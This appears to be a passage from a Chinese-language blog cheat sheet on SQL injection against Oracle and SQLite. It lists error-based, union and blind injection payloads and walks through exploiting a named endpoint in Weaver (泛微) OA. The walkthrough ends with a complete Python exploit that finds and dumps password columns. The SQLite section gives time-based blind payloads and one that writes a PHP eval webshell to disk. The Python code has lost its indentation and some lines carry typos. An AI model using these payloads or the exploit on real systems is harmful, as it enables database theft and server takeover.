SQL> select banner from sys.v_$version where rownum=1 and 1=ctxsys.drithsx.sn(1,(select username from user_users));
SQL> select banner from sys.v_$version where rownum=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1));

3.使用XMLType()进行报错注入

1
2
SQL> select banner from sys.v_$version where rownum=1 and (select upper(XMLType(chr(60)||chr(58)||(select username from user_users)||chr(62))) from dual) is not null;
SQL> select banner from sys.v_$version where rownum=1 and (select upper(XMLType(chr(60)||chr(58)||(select banner from sys.v_$version where rownum=1)||chr(62))) from dual) is not null;

4.使用dbms_xdb_version.checkin()进行报错注入

1
2
SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null;
SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.checkin((select username from user_users)) from dual) is not null;

5.使用dbms_xdb_version.makeversioned()进报错注入

1
2
SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.makeversioned((select username from user_users)) from dual) is not null;
SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null;

6.使用dbms_xdb_version.uncheckout()进行报错注入

1
2
SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.uncheckout((select username from user_users)) from dual) is not null;
SQL> select banner from sys.v_$version where rownum=1 and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null;

7.使用dbms_utility.sqlid_to_sqlhash()进行报错注入

1
2
SQL> select banner from sys.v_$version where rownum=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select username from user_users)) from dual) is not null;
SQL> select banner from sys.v_$version where rownum=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null;

8.使用ordsys.ord_dicom.getmappingxpath()进行报错注入

1
2
SQL> select banner from sys.v_$version where rownum=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user);
SQL> select banner from sys.v_$version where rownum=1 and 1=ordsys.ord_dicom.getmappingxpath((select banner from sys.v_$version where rownum=1),user,user);

9.使用decode进行报错注入,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法(类似于盲注的每个字符二分查找来猜解)。

  • Oracle中的substr函数和MySQL有点区别,例如substr("archerx",0,1) substr("archerx",1,1)都是截取第一个字符。

  • decode(a,b,c,d)函数 : if a==b return c else d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SQL> select substr(user,1,1) from dual;

SUBS
----
S

SQL> select (decode(substr(user,1,1),"S",1,2) from dual;
select (decode(substr(user,1,1),"S",1,2) from dual
*
ERROR at line 1:
ORA-00907: missing right parenthesis


SQL> select banner from sys.v_$version where rownum=1 and 0=(select decode(substr(user,1,1),'S',(1/0),0) from dual); # 正确 返回(1/0)报错
select banner from sys.v_$version where rownum=1 and 0=(select decode(substr(user,1,1),'S',(1/0),0) from dual)
*
ERROR at line 1:
ORA-01476: divisor is equal to zero


SQL> select banner from sys.v_$version where rownum=1 and 0=(select decode(substr(user,1,1),'Y',(1/0),0) from dual); # 错误 返回 0 , 0==0 返回正常select查询结果

BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production

Union-Based Injection

Description Query
Union SELECT user FROM dual UNION SELECT * FROM v$version
Union subquery SELECT user FROM dual UNION (SELECT * FROM v$version)
Union null SELECT user,dummy FROM dual UNION (SELECT banner,null FROM v$version)

Blind Injection

Description Query
Version is 12.2 SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';
Subselect is enabled SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)
Table log_table exists SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);
Column message exists in table log_table Select COUNT(*) from user_tab_cols where column_name = 'MESSAGE' and table_name = 'LOG_TABLE';
First letter of first message is t Select message from log_table where rownum=1 and message LIKE 't%';

Oracle 注入一般步骤:

刚好看到一篇基于泛微OA注入学习及成果输出,摘抄过来。

显性注入:简单快捷的用法

函数:utl_inaddr.get_host_address

用法:utl_inaddr.get_host_address(sql Injection)

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。我们传递的是一个sql 语句所以返回的就是语句执行的结果。

  • 利用这一点就不用去找字段了。。。
1
2
3
.jsp?cdd=1 or 1=utl_inaddr.get_host_address (SQL Injection)

.jsp?cdd=1 or 1=utl_inaddr.get_host_address ((select member from v$logfile where rownum=1)) --

显性注入:通用

判断注入点

利用and 1=1, and 1=2, ', "等字符结合起来进行注入点确定。

1
2
and (select count (*) from user_tables)>0--
and (select count (*) from dual)>0--

判断字段数

  • 通常利用order by进行字段数确认。
1
order by N -- (?jsp=2 order by 3--)

union select null,banner from v$version order by (((1 (实例,判断版本)

填充字段

确定每个字段类型。

  • dual表和user_tables表是oracle中的系统表。

  • 确定字段类型使用union语句,union操作符用于合并两个或者多个select语句的字符集

    (1)union内部的select语句必须拥有相同的列

(2)列也必须拥有相同的数据类型

(3)每条select语句中的列顺序必须相同

null默认匹配所有字段,'null'匹配字符类型

1
2
union select null,null from dual order by 2--
Union select 'null',null from dual order by 2--

获取数据

利用and 1=2使一句正常查询无返回结果,此时字段会对应显示在替换元查询结果。

1
and 1=2 union select null,'null' from dual order by (((1

上述语句查询结果为:[{"id":"wf_","text":"null","leaf":true,"checked":false,"draggable":false}]

因此可以确定,第二个字段为'text'内容,可以利用其进行注入。

获取系统信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
当前数据库版本 ( select banner from sys.v_$version where rownum=1)
and 1=2 union select null,banner from sys.v_$version where rownum=1 order by (((1

服务器监听IP (select utl_inaddr.get_host_address from dual)
and 1=2 union select null,utl_inaddr.get_host_address from dual order by (((1

服务器操作系统(路径) (select member from v$logfile where rownum=1)
and 1=2 union select null,member from v$logfile where rownum=1 order by (((1

服务器sid ( 远程连接的话需要, select instance_name from v$instance;)
and 1=2 union select null,instance_name from v$instance order by (((1

当前用户:SELECT user FROM dual;
  
当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER')from dual)
and 1=2 union select null,SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual order by (((1

获取系统中所有用户
and 1=2 union select null,username from all_users order by (((1

获取系统中所有数据库名称
and 1=2 union select distinct null,owner from all_tables order by (((1

获取所有表(所有库)
and 1=2 union select null,table_name from all_tables order by (((1
获取表名

复杂方式

  • 所有表
1
and 1=2 union select null,table_name from user_tables order by (((1
  • 当前数据库中的第一个表:
1
2
3
(select table_name from user_tables where rownum=1)

and 1=2 union select null,(select table_name from user_tables where rownum=1) from dual order by (((1
  • 当前库的第二个表
1
2
3
4
5
(select table_name from user_tables where rownum=1 and table_name not in ('第一个表名'))

(select table_name from user_tables where rownum=1 and table_name <>'第一个表名')

and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in ('ACTIONEXECUTELOG')) from dual order by (((1
  • 当前库第三个表
1
2
3
(select table_name from user_tables where rownum=1 and table_name not in ('ACTIONEXECUTELOG','ACTIONSETTING'))

and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name not in ('ACTIONEXECUTELOG','ACTIONSETTING')) from dual order by (((1

。。。以此类推。。。

简单方式

  • 这里利用user_tab_columns获取所有的表以及字段名
1
2
3
and 1=2 union select null,table_name||chr(35)||column_name from user_tab_columns order by (((1

and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns) where limit =455) from dual order by (((1

因为Oracle不像Mysql那样存在limit可以一条一条的查询,Oracle想要实现必须自己构造一种方法。

1
2
3
4
5
6
7
8
# Oracle 没有limit 这样的语句所以可以用where rownum=1 来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2 是不行的,这里可以再次嵌套一个子查询语句如下:

# 也就是将rownum当作limit,table_nameh和column_name用字符~连接起来看作data,这时候即可构造:select data from ( slect rownum as limit,table_name||chr(35)||column_name as data from user_tab_colunms where column like 'PASSWORD')

再加入主语句加入where,返回第几条数据:select data from ( slect rownum as limit,table_name||column_name as data from user_tab_colunms where column like 'PASSWORD') where limit=1

# 最终形成了语句
and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like 'PASSWORD') where limit =2) from dual order by (((1
获取字段名

复杂方式

获取所有字段

1
and 1=2 union select null,column_name from user_tab_columns order by (((1
  • 指定表,第一个字段
1
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING') from dual order by (((1
  • 指定表,第二个字段
1
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING' and column_name not in ('ID')) from dual order by (((1
  • 指定表,第三个字段
1
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='ACTIONSETTING' and column_name not in ('ID','ACTIONNAME')) from dual order by (((1

。。。以此类推。。。

简单方式

构造以使用类似于MYSQL中limit,来查询指定表名中的字段名称。

1
2
3
and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name=CHR(65)||CHR(80)||CHR(80)||CHR(85)||CHR(83)||CHR(69)||CHR(73)||CHR(78)||CHR(70)||CHR(79)) whEre limit =1) from dual order by (((1

and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name='USER_INFO') whEre limit =1) from dual order by (((1
查询指定表中字段内容
1
and 1=2 union select 1,(Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||ID as data from USER_INFO) where limit=5) from dual order by (((1

泛微OA EXP编写

(为了简洁的找到username或password,或者脱裤子。)

  • 第一步:获取含有PASSWORD字符的表名
1
and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like 'PASSWORD') where limit =2)  from dual order by (((1
  • 第二步:获取含有PASSWORD字段表的全部字段
1
and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,column_name as data from user_tab_columns whEre table_name='USER_TABLE') whEre limit =1)  from dual order by (((1
  • 获取前10条数据
1
and 1=2 union select 1,(Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD||chr(35)||ID as data from HRMRESOURCE) where limit=5)  from dual order by (((1

POC及EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests
import re
import sys

class Exp(object):
"""docstring for Exp"""
def __init__(self, url):
super(Exp, self).__init__()
self.url = url
self.headers={
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0',
'Content-Type': 'application/x-www-form-urlencoded'
}
self.path = "/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333"
self.tables = []
self.passwords = []

def poc(self):
post_data = "formids=11111111111)))" + "%0a%0d"*360+"union select NULL,value from v$parameter order by (((1"
req = requests.post(self.url+self.path,data=post_data,headers=self.headers)
if '%ORACLE_HOME%' and 'DBHOME' in req.text:
print('[+] 该泛微-协同办公OA存在SQL注入')
return True
else:
print('[-] NOT Found~')
return False

def get_tables(self):
print('[--------------开始查找带有 PASSWORD 字段的表-----------]')
for i in range(1,21):
post_data = "formids=11111111111)))" + "%0a%0d"*360+"and 1=2 union select 1,(select chr(126)||chr(39)||data||chr(39)||chr(126) from (select rownum as limit,table_name||chr(35)||column_name as data from user_tab_columns where column_name like 'PASSWORD') where limit ={0}) from dual order by (((1".format(i)
table_response = requests.post(self.url+self.path,headers=self.headers, data=post_data)
tables = re.findall('~\'(.*?)#PASSWORD\'~', table_response.text, re.S)
if tables:
if tables[0]:
self.tables.append(tables[0])
print('[+] 找到带有 PASSWORD 字段的表 --> '+tables[0])
else:break
# print(self.tables)

def get_password(self):
print('\n[+++++++++++++ 开始查找密码 +++++++++++++]\n')
for x in self.tables:
for i in range(1,6):
post_data = "formids=11111111111)))"+"%0a%0d"*360+"and 1=2 union select 1,(Select chr(126)||chr(39)||data||chr(39)||chr(126) from (selEct rownum as limit,PASSWORD as data from {0}) where limit={1}) from dual order by (((1".format(x,i)
passwords_response = requests.post(self.url+self.path,headers=self.headers, data=post_data)
passwords = re.findall('~\'(.*?)\'~', passwords_response.text, re.S)
if passwords:
if passwords[0]:
s = '表:'+x+' 密码:'+passwords[0]
print('[+] 找到密码 --> '+s)

self.passwords.append(s)
else:print('[-] 密码为空')
print('\n')
# print(self.passwords)


if __name__ == '__main__':
try:
argv = sys.argv[1:2]
exp = Exp(argv[0])
poc = exp.poc()
except:
exit('python3 fw-oa-exp.py http://www.example.com:8081')

if poc is True:
print('[========开始查找,默认20个表,每个表5条记录========]')
exp.get_tables()
exp.get_password()
print('[========查找完毕,默认20个表,每个表5条记录========]')
else:
exit()

Sqlite

docker 安装:https://hub.docker.com/r/nouchka/sqlite3/

1
2
docker run -it nouchka/sqlite3d
ocker-compose run sqlite3

常用信息及语句

数据库版本:
select sqlite_version()

获取所有表名:
SELECT name FROM sqlite_master WHERE type='table'

所有表结构(包含字段名,表名):
SELECT sql FROM sqlite_master WHERE type='table'

注释符:
--

盲注常用函数:substr()(没有mid、left等函数),判断长度函数length()

BOOL盲注

bool条件构造和MySQL一样,但是亦或运算的Payload不可用,注释符使用–。

逻辑判断目前我就翻到一个substr(),应用实例:
cond='FALSE' or (substr('abc',1,1)='a')

延时盲注

sqlite没有类似sleep()的函数,但有个函数randomblob(N),生成N个任意字符,可以造成延时。

SQLite没有if,可以使用case when … then …

格式cond='true' AND 1=(case when (bool) then randomblob(100000000) else 0 end)
100000000个字符就有明显延时了。

注意cond为真,并且不要有太多条数据,因为有一条数据就会执行一次randomblob(100000000),如果数据很多的话,服务器直接挂了。可以首先判断一下数据量,再确定N的值,比如我这里有100多条数据,就可以 id='' or 1 AND 1=randomblob(1000000)这样,把N的值缩小100倍。灵活运用。

运用实例:

1
' or 1 and 1=(case when substr('abc',1,1)='a' then randomblob(1000000) else 0 end)--

写文件

需要直接访问数据库,或堆叠查询选项启用(默认关闭)

1
';ATTACH DATABASE '/tmp/p0.php' AS p0;CREATE TABLE p0.shell (data text);INSERT INTO p0.shell (data) VALUES ('<?php eval($_POST[1]);?>');--

root权限的话可以写计划任务和公钥,参考redis未授权访问利用。

读文件

只能用在Windows上,需要特殊配置。

1
load_extension(library_file,entry_point)

实验靶场

https://www.anquanke.com/post/id/85552

-------------本文结束感谢您的阅读-------------